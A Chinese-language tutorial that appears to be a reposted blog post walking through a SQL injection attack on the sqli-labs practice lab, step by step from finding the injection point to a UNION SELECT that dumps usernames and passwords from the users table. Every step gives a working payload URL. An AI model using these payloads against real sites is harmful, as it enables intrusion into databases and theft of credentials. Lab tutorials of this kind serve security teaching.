1. 程式人生 > 其它 >SQL注入流程

SQL注入流程

1.判斷是否存在注入、以及請求方法(POST、GET、COOKIE、REQUEST、HTTP頭)

輸入單引號    '    進行檢驗是否存在輸入

http://127.0.0.1/sqli-labs-master/Less-1/index.php? id=1 '

原理:

頁面發生了報錯,說明輸入的單引號    '    影響了資料庫查詢,說明此處存在可控的引數,存在注入點

2.判斷引數型別(數字型、字元型、搜尋型、json)

輸入 and 1=2    檢驗是字元型還是數字型

http://127.0.0.1/sqli-labs-master/Less-2/index.php?  id=1  and 1=2

報錯,證明是數字型。

原理:字元型在查詢有閉合符號,如果直接將and 1=2帶入查詢,以及後後面的測試語句,都會當成字串,不會被執行。

3.閉合查詢語句

輸入{' 、}、"、)、}  單個或者組合後在家測試語句   and 1=2   加註釋符號{ # 、 --+ 、%23)

原理:

使語句能正常執行 

4.檢視這個網站所在的表有幾列

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 order by 3

使用二分法,如果輸入錯誤則報錯,如果存在就維持原狀。

原理:

select * from table order by n 表示select裡面的第n個欄位,從而判斷有幾行

5.進行 union select聯合查詢,發現輸出位

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,3 %23

發現有2個輸出位(為了union聯合查詢可以正常執行所以要使前方資訊報錯,後邊用%23進行註釋)

 原理:

UNION 操作符用於合併兩個或多個 SELECT 語句的結果集

6.查詢資料庫版本號

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,version() %23

  發現版本號為5.5.23(版本號5.0以上會專門生成一個叫information_schema的庫,這個庫裡有資料庫中所有表的名字)

7.查詢資料庫所擁有的表名

http://127.0.0.1/sqli-labs-master/Less-2/index.php?id=-1 union select1,2,group_concat

(table_namefrom information_schema.tables where table_schema = database() %23

 原理:

group_concat(str1, str2,...)將多個字串連線成一個字串

8.查詢出users表裡的列名

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,group_concat(column_name)%20from information_schema.columns where table_name ="users"%23

9.查出users表中username列中 使用者名稱和密碼

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(username,password) from users %23

group_concat() 顯示查詢到所有的列

information_schema一個庫

schemata:儲存所有資料庫的名字

tables:儲存說有表的名字

columns:儲存所有欄位的名字

參考

https://www.cnblogs.com/biaochen/p/11307264.html